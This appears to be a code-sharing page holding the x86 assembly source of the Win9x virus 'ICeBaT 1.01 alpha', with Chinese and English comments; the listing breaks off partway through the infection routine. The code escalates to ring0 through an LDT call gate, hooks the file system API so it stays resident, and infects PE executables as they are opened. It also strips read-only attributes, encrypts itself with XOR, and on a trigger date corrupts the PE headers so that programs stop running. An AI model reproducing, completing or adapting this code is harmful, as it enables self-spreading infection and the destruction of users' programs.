📄 codes的icebat(1.01 alpha)原代码 ——win9x virus.txt
字号:
; 注意:本病毒是在 icebat 1.00的基础上修改的,没有大的变动
;另外,本代码中的 rnd 部分暂时空缺,没有好的算法,自己加把,
; 之可以改变 eax-随机码
;****************************************
;* VIRUS : ICeBaT ' \/^v^\/ ' *
;* Version 1.01 Alpha *
;****************************************
;* Author: *
;* Jay.Zephyr ( Data: 2000-2-7 ) *
;****************************************
;* Instruction: *
;* *
;* 1. Infect PE_Format program *
;* Not Over Infect! *
;* 2. Hook FileSystemApiHook *
;* To install in Memory! Not over hook *
;* 3. Broke the ReadOnly File *
;* 4. When my cute virus triggered *
;* It will REPLACE 'PE' SIGN and Set *
;* CPUTYPE=014Dh,Change Dos Sub Header *
;* Message To 'ICeBaT$' !!! *
;* 5. Encryation virus! My cute *
;* virus can make Discryation by myself.*
;* Encryation way: XOR ! *
;* *
;****************************************
; -
.586p ; Use 586 Protect Mode
.model flat,stdcall ; flat and stdcall model
;===========================================
; Defined Some Useful Marcos
;===========================================
TRUE = 1
FALSE = 0
DEBUG = FALSE ; USE DEBUG MODE
IF DEBUG
; USE DEBUG MODE
ELSE
; USE RELEASE MODE
ENDIF
;================================
; 发作日期
TRIGGERMON = 12H
TRIGGERDAY = 13H
;================================
; SOME DATAS IN [ IFS.INC ]
IFSFN_READ = 0
IFSFN_WRITE = 1
IFSFN_CLOSE = 11
IFSFN_OPEN = 36
R0_OPENCREATFILE = 0D500H
R0_READFILE = 0D600H
R0_WRITEFILE = 0D601H
R0_CLOSEFILE = 0D700H
R0_FILEATTRIBUTES = 04300H
R0_DELETEFILE = 04100H
;===========================================
; defined some extrn functions API
extrn MessageBoxA : proc
extrn ExitProcess : proc
; data segment for mum proc
.data
szCaption db 'Message',0
szMsg db 'Mum: Baby has gone!',0
.code
MumStart:
; MessageBox(NULL,szMsg,szCaption,MB_SYSTEM);
xor ebx,ebx
push 1000h
lea eax,szCaption
push eax
lea eax,szMsg
push eax
push ebx
call MessageBoxA
; ExitProcess(0);
push ebx
call ExitProcess
ends
;==========================================
; Mum Proc End here
;
; My Cute Virus Will Start from here ^_^
;==========================================
VIRSEG SEGMENT PARA USE32 '.ICeBaT$' ; Virus Segment Use 32 bits
ASSUME CS:VIRSEG,DS:VIRSEG,ES:VIRSEG
ASSUME SS:VIRSEG,GS:VIRSEG,FS:VIRSEG
VIRSTART: ; 病毒入口点
;************************
;* GET GDT BASE *
;* ADDRESS *
;************************
PUSH EBP ; 保存 ebp 寄存器
PUSH EAX ; 压栈
SGDT [ESP-02H] ; 获得 gdt 基址
POP EAX ; 得到 gdt 基址,存入 eax 寄存器
;************************
;* GET LDT INDEX *
;************************
XOR EBX,EBX ; 清 ebx 寄存器
SLDT BX ; 取得 ldt 在 gdt 中的索引值
;************************
;* CALCULATE THE LDT *
;* BASE ADDRESS [EAX] *
;************************
ADD EBX,EAX ; 取得 ldt 基址的偏移
MOV AH,[EBX+07H] ; ldt 基址的高字节
MOV AL,[EBX+04H] ; ldt 基址的中字节
SHL EAX,10H ; ldt 基址的高字放入 eax 的高位
MOV AX,[EBX+02H] ; ldt 基址的低字
ADD EAX,08H ; 跳过空的选择子
;************************
;* GET THE OFFSET OF *
;* VIRUS RELOC *
;************************
CALL RELOC ; 取得偏移
RELOC:
POP EBP ; 获取偏移
SUB EBP,OFFSET RELOC ; 计算偏移量
; SUB ECX,OLDENTRYPOINT[EBP] ; 计算主程序返回地址
; MOV OLDENTRYPOINT[EBP],ECX ; 存回主程序返回地址
;************************
;* MODIFY THE LDT *
;************************
MOV ESI,OFFSET RING0GAME ; 取得 ring0 proc 的程序段地址
ADD ESI,EBP ; 加上偏移
XCHG EAX,EBX ; NOW, THE [EBX] SAVE THE BASE ADDRESS OF FIRST DESCRIPTOR ADDRESS
MOV [EBX],SI ; 修改 ldt 的第 0 号门入口的低字
MOV WORD PTR [EBX+02H],0028H ; 修改段选择子
MOV WORD PTR [EBX+04H],0EC00H ; 修改调用门的属性
SHR ESI,10H ; 将 ring0 proc 的地址高字放入 si
MOV [EBX+06H],SI ; 修改调用门的地址高字
;************************
;* ENTRY RING0 GAME *
;************************
LEA EAX,RING0GATE[EBP] ; 获取中断门的选择子
; 加上偏移量
PUSH EBX ; 保存 ebx (用来改回修改的调用门)
CALL FWORD PTR [EAX] ; 通过调用门进入 ring0 proc
POP EDI ; 取回调用门的描述符地址
XOR EAX,EAX
STOSD ; 清零
STOSD ; 清零
;************************
;* GO TO RUN HOST *
;************************
MOV EAX,00401000H ; 取得主程序的返回地址
OLDENTRYPOINT = $ - 04H
; 加上偏移
; 得到返回地址
POP EBP ; 恢复 ebp
PUSH EAX ; 返回地址压栈
RET ; 返回主程序
;************************
;* MY RING0 GATE ENTRY *
;************************
RING0GATE DD 00H ; 调用门的选择子
DW 0FH
;************************
;* MY RING0 GAME HERE *
;************************
RING0GAME:
MOV ECX,DR2 ; 取得 dr2 的值 (驻留掩码)
MOV EAX,NOT(92350209H) ; eax 我的驻留掩码
CMP EAX,ECX ; 判断是否已经驻留?
JZ QUITRING0GAME ; 是,则退出 ring0 proc
; MY CUTE VIRUS WILL KEEP IN MEMORY
MOV DR2,EAX ; 否,准备驻留,设驻留掩码
XOR EAX,EAX ; 清 eax
; VXD 调用
; VMMCall _PageAllocate, <nPages, pType, VM, AlignMask, minPhys, maxPhys, <OFFSET32 PhysAddr>, flags>
PUSH 00000000FH ; flags = 0fh
PUSH EAX ; PhysAddr = 0
PUSH 0FFFFFFFFH ; maxPhys = 0ffffffffh
PUSH EAX ; minPhys = 0
PUSH EAX ; AlignMask = 0
PUSH EAX ; VM = 0
PUSH 000000001H ; pType = 01h
PUSH 000000002H ; nPages = 02h
INT 20H ; Use EAX, ECX, EDX, and flags
_PageAllocate = $
DD 00010053H
ADD ESP,08*04H ; 恢复栈堆
; MOVE MY CUTE VIRUS TO NEW ADDRESS IN MEMORY
LEA ESI,RELOC[EBP] ; 取偏移
; 加上偏移
SUB ESI,OFFSET RELOC-VIRSTART ; 减去差, esi - 当前病毒的首地址
MOV EDI,EAX ; eax=edi - 分配的内存首地址
MOV ECX,OFFSET VIRMEMORYSIZE-VIRSTART ; 内存中的病毒长度
CLD ; 设搬移方向标志
REP MOVSB ; 搬家喽
XCHG EAX,EBX ; SAVE NEW ADDRESS IN EBX
MOV EAX,OFFSET MYHOOKAPI-VIRSTART ; 得到内存中的病毒的 hook 段的地址
ADD EAX,EBX ; 加偏移
PUSH EAX ; pIFSFileHookFunc 地址
INT 20H ; Use EAX, ECX, EDX, and flags ; VXD 调用
IFSMgr_InstallFileSystemApiHook = $
DD 00400067H
POP ECX ; 恢复栈堆
MOV EBX[OLDHOOKAPI-VIRSTART],EAX ; SAVE OLD HOOK API
MOV EBX[MYHOOKRELOC-VIRSTART],ECX ; RELOC MY HOOK
MOV BYTE PTR EBX[MYFLAG-VIRSTART],0 ; CLEAR MY BUSY FLAG
QUITRING0GAME:
RETF ; 退出 ring0 proc
;********************************
;* END OF MY RING0 GAME *
;********************************
;* START MY HOOK API FUNCTIONS *
;********************************
MYHOOKAPI:
PUSHAD ; 保存全局变量 (所有寄存器压栈)
MOV EBP,00000000H ; 驻留时,这里会被改成 mov ebp,offset myhookapi+2
MYHOOKRELOC = $ - 04H
MOV DR1,EBP ; 保存偏移到 dr1 (方便调试)
MOV EBX,ESP ; 存 esp 到 ebx
CMP BYTE PTR EBP[MYFLAG-MYHOOKAPI],0 ; 是否有空?
JZ NOBUSY ; 是的,有空,跳去感染!!!
PUSH DWORD PTR [EBX+20H+04H+14H] ; 我很忙!
CALL [EBX+20H+04H] ; Call pIFSFunc ( pir )
POP ECX ; 还原栈堆
MOV [EBX+1CH],EAX ; 修改栈中的 eax 值
QUITMYHOOK:
POPAD ; 寄存器出栈
RET ; 返回调用者
NOBUSY: ; 我不忙
; =============================================================================================
; int _cdecl callback(pIFSFunc pfn, int fn, int Drive, int ResType, int CodePage, pioreq pir)
; =============================================================================================
MOV BYTE PTR EBP[MYFLAG-MYHOOKAPI],1 ; 置忙位!
CMP DWORD PTR [EBX+20H+04H+04H],24H ; 是否是打开?
JNZ CANCELACTION ; 不是,不感染!
LEA ESI,EBP[BUF-MYHOOKAPI] ; 是打开操作,文件名及其路径区
MOV EAX,[EBX+20H+04H+04H+04H] ; INT DRIVE 整型驱动器号
CMP AL,-1 ; unc ???
JZ UNC1 ; 是的,跳到 unc1 处理
ADD AL,40H ; 换成 [X:] 的形式
MOV BYTE PTR [ESI],AL ; 存驱动器到缓冲区
INC ESI ; 指针加一
MOV BYTE PTR [ESI],':' ; 存入 ':'
INC ESI ; 指针加一
UNC1:
XOR EAX,EAX ; 取得文件的路径及文件名(不包括驱动器),所以前面要自己转换驱动器成 X: 形式,这样加上路径就成立绝对路径
PUSH EAX ; CharSet
PUSH 0FFH ; maxLength
MOV EBX,[EBX+20H+04H+14H] ; mov ebx,pir
MOV EAX,[EBX+0CH] ; pUniPath-4
ADD EAX,04H ; eax = pUniPath
PUSH EAX ; push pUniPath
PUSH ESI ; pBCSPath
INT 20H ; VXDCall UniToBCSPath
UniToBCSPath = $
DD 00400041H
ADD ESP,04*04H ; 恢复栈堆
CMP [ESI+EAX-04H],'EXE.' ; 是否是 exe 文件?
JNZ CANCELACTION ; 不是,不感染
DEC ESI ; esi = esi-2
DEC ESI ; esi - FilePathName
;===========================================
IF DEBUG
CMP [ESI+EAX-06H],'MIAV' ; IF DEBUG = TRUE THEN ONLY INFECT : VAIM.EXE
JNZ CANCELACTION
ENDIF
;============================================
; BEFORE INFECT EXE
; I WILL ENCRYATION MY VIRUS
;============================================
PUSHAD
XOR ECX,ECX
CALL ENCRYATION_VIR
POPAD
;============================================
; BEGIN TO INFECT FILE
; FIRST, WE MUST CHECK
; WETHER THE FILE IS
; << PE_FORMAT >>
; -
; NOW, THE BUF CONTENT
; IS FILE PATH AND NAME
;=============================================
INFECT_PE_FILE:
; ADD INFECT PE FILE CODES HERE!!!!!!!
XOR EAX,EAX ; 清 eax
; 清 MY SECTION 内容
LEA EDI,EBP[NEWOBJ-MYHOOKAPI]
MOV ECX,0AH
CLD
REP STOSD
; 设置 MY SECTION 属性
MOV DWORD PTR [EDI-4],0C0000040H
LEA EDI,EBP[FILEOP-MYHOOKAPI] ; 得到 IFSMgr_Ring0_FileIO 的地址
MOV AX,R0_FILEATTRIBUTES ; 功能号: 取文件属性
CALL EDI ; GET OLD FILE ATTRIB
JC EXIT_INFECT ; 出错,放弃感染
MOV DR3,ECX ; SAVE THE FILE ATTRIB TO => DR1
XOR ECX,ECX ; 功能号: 置文件属性
MOV AX,R0_FILEATTRIBUTES+01H
CALL EDI ; SET COMMON FILE ATTRIB
JC EXIT_INFECT
XOR EAX,EAX ; 清 eax
MOV EAX,R0_OPENCREATFILE ; 打开文件
XOR ECX,ECX
MOV EDX,01H
MOV EBX,02H ; 同 int 21h (function 6ch)
LEA ESI,EBP[BUF-MYHOOKAPI] ; 文件名
CALL EDI
JC RETURN_ATTRIB
XCHG EAX,EBX ; SAVE FILE HANDLE TO EBX
MOV EAX,R0_READFILE ; FILE OPERATION READ
LEA ESI,EBP[PESTART-MYHOOKAPI] ; READ BUFFER
XOR ECX,ECX
MOV CL,04H ; READ 4 BYTES TO BUF
XOR EDX,EDX
MOV DL,3CH ; READ FROM OFFSET: 3CH
CALL EDI
JC CLOSEFILE
MOV EDX,EBP[PESTART-MYHOOKAPI] ; READ FROM OFFSET
MOV EAX,R0_READFILE ; READ FILE
LEA ESI,EBP[PEHEADER-MYHOOKAPI] ; READ BUFFER
MOV ECX,500H ; READ LENGTH
CALL EDI ; READ PE_HEADER
JC CLOSEFILE
CMP DWORD PTR EBP[PESIGN-MYHOOKAPI],4550H ; PE 文件格式?
JNZ CLOSEFILE ; 不是,放弃感染
CMP WORD PTR EBP[PESIGN-MYHOOKAPI+1AH],0FFFFH ; 感染了吗?
JZ CLOSEFILE ; 是的,放弃感染
MOV WORD PTR EBP[PESIGN-MYHOOKAPI+1AH],0FFFFH ; SET INFECTED MASK
PUSHAD ; 保存全部寄存器
;=========================================
; USEFUL DATA:
; EBX -OPEN FILE HANDLE
; EDI -FILEOP FUNCTION
; EBP -OFFSET
;=========================================
; LOCAL THE OBJECT TABLE
XOR EAX,EAX ; 清 eax
MOV AX,EBP[NTHEADERSIZE-MYHOOKAPI] ; 得到 Optional Header 的大小
ADD EAX,18H ; 加上 18h, EAX - PE 文件头大小
MOV EBP[OBJTABOFFSET-MYHOOKAPI],EAX ; CALCULATE THE OBJECT TABLE OFFSET
LEA EAX,EBP[PEHEADER-MYHOOKAPI] ; 取得 peheader 在内存中的偏移
ADD EBP[OBJTABOFFSET-MYHOOKAPI],EAX ; 计算并定位 object table 的偏移
; END OF LOCAL
XOR EAX,EAX ; 清 eax
XOR EDX,EDX ; 清 edx
MOV AX,EBP[NUMOBJ-MYHOOKAPI] ; GET THE NUMBER OF OBJECT
MOV ECX,40 ; 取得我的 section 在 peheader 中的开始地址
MUL ECX ; NOW THE [EDX:EAX] SAVE THE MY OBJECT ENTRY
MOV ESI,EBP[OBJTABOFFSET-MYHOOKAPI] ; OBJECT TABLE ENTRY POINT
ADD ESI,EAX ; CALCULATE MY OBJECT IN PEHEADER
INC WORD PTR EBP[NUMOBJ-MYHOOKAPI] ; object number + 1
;=============================================
; ESI: MY OBJ IN PEHEADER
; EDI: MY OBJ
;=============================================
MOV EAX,[ESI-40+8] ; 得到原最后一个 section 的 virtualsize
ADD EAX,[ESI-40+12] ; 得到原最后一个 section 的 virtualoffset
; CALCULATE MY SECTION IN MEMORY 计算我的段的 virtualsize & virtualoffset
MOV ECX,EBP[OBJALIGN-MYHOOKAPI] ; ecx - 内存中的段对齐方式
XOR EDX,EDX ; 清 edx
DIV ECX ; 计算我的段的 RVA
OR EDX,EDX
JZ VCON1
INC EAX
VCON1:
MUL ECX
MOV EBP[RVA-MYHOOKAPI],EAX ; 保存我的段的 RVA
XOR EDX,EDX ; 清 EDX
MOV EAX,OFFSET VIRMEMORYSIZE-VIRSTART ; 计算我的段的 VIRTUALSIZE
DIV ECX
OR EDX,EDX
JZ VCON2
INC EAX
VCON2:
MUL ECX
MOV EBP[VIRTUALSIZE-MYHOOKAPI],EAX
; CALCULATE MY SECTION IN PHYSICAL FILE
MOV ECX,EBP[FILEALIGN-MYHOOKAPI] ; 计算我的段的 PHYSICALSIZE
XOR EDX,EDX
MOV EAX,EBP[VIR_ENCRY_LENGTH-MYHOOKAPI]
DIV ECX
OR EDX,EDX
JZ VCON3
INC EAX
VCON3:
MUL ECX
MOV EBP[PHYSICALSIZE-MYHOOKAPI],EAX
MOV EAX,[ESI-40+16]
ADD EAX,[ESI-40+20]
XOR EDX,EDX ; 计算我的段的 PHYSICALOFFSET
DIV ECX
OR EDX,EDX
JZ VCON4
INC EAX
VCON4:
MUL ECX
MOV EBP[PHYSICALOFFSET-MYHOOKAPI],EAX
; CALCULATE THE IMAGESIZE AND ENTRYPOINT
MOV ECX,EBP[OBJALIGN-MYHOOKAPI] ; 计算新的 IMAGESIZE
MOV EAX,EBP[IMAGESIZE-MYHOOKAPI]
ADD EAX,OFFSET VIRMEMORYSIZE-VIRSTART
DIV ECX
OR EDX,EDX
JZ VCON5
INC EAX
VCON5:
MUL ECX
MOV EBP[IMAGESIZE-MYHOOKAPI],EAX
; SAVE MY OLD SECTION TO IMAGE
LEA EDI,EBP[NEWOBJ-MYHOOKAPI] ; EDI - 我的段的地址
XCHG EDI,ESI ; ESI - 我的段的地址,EDI - PEHEADER 中我的段的入口地址
MOV ECX,10 ; 搬移字节数 10*4
CLD
REP MOVSD ; 搬过去
; CALCULATE RVA, MAKE SURE MY CUTE VIRUS RUN FIRST! ^O^
MOV EAX,EBP[RVA-MYHOOKAPI] ; 计算新的 ENTRYPOINTRVA
MOV EBX,EBP[ENTRYPOINTRVA-MYHOOKAPI] ; 保存原来的偏移到 OLDENTRYPOINT
MOV EBP[ENTRYPOINTRVA-MYHOOKAPI],EAX
MOV ECX,EBP[IMAGEBASE-MYHOOKAPI]
ADD EBX,ECX
MOV EBP[OLDENTRYPOINT-MYHOOKAPI],EBX
PUSHAD
CALL ENCRYATION_MYSELF
ADD EAX,ECX ; VIR START IN MEMORY
MOV EDI,EBP[USED_OFFSET-MYHOOKAPI]
ADD [EDI],EAX
POPAD
CALL CHECKTRIGGER
OR EAX,EAX
JZ VCON6
; Make 'PE' File To 'MZ' File, and Show My Cute Virus Name !
MOV DWORD PTR EBP[PESIGN-MYHOOKAPI],NOT(92350209H) ; Replace 'PE' Sign
; Change CPU Type ( 014C h => 014D h ), Stop Win App Run!
MOV WORD PTR EBP[CPUTYPE-MYHOOKAPI],014DH
VCON6:
POPAD ; 全局出栈
MOV EAX,R0_WRITEFILE ; 写 PE HEADER
MOV ECX,500H
MOV EDX,EBP[PESTART-MYHOOKAPI]
LEA ESI,EBP[PEHEADER-MYHOOKAPI]
CALL EDI ; WRITE NEW PE HEADER TO FILE
JC CLOSEFILE
MOV EAX,R0_WRITEFILE ; 写 VIRUS BODY
MOV ECX,EBP[VIR_ENCRY_LENGTH-MYHOOKAPI]
MOV EDX,EBP[PHYSICALOFFSET-MYHOOKAPI]
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -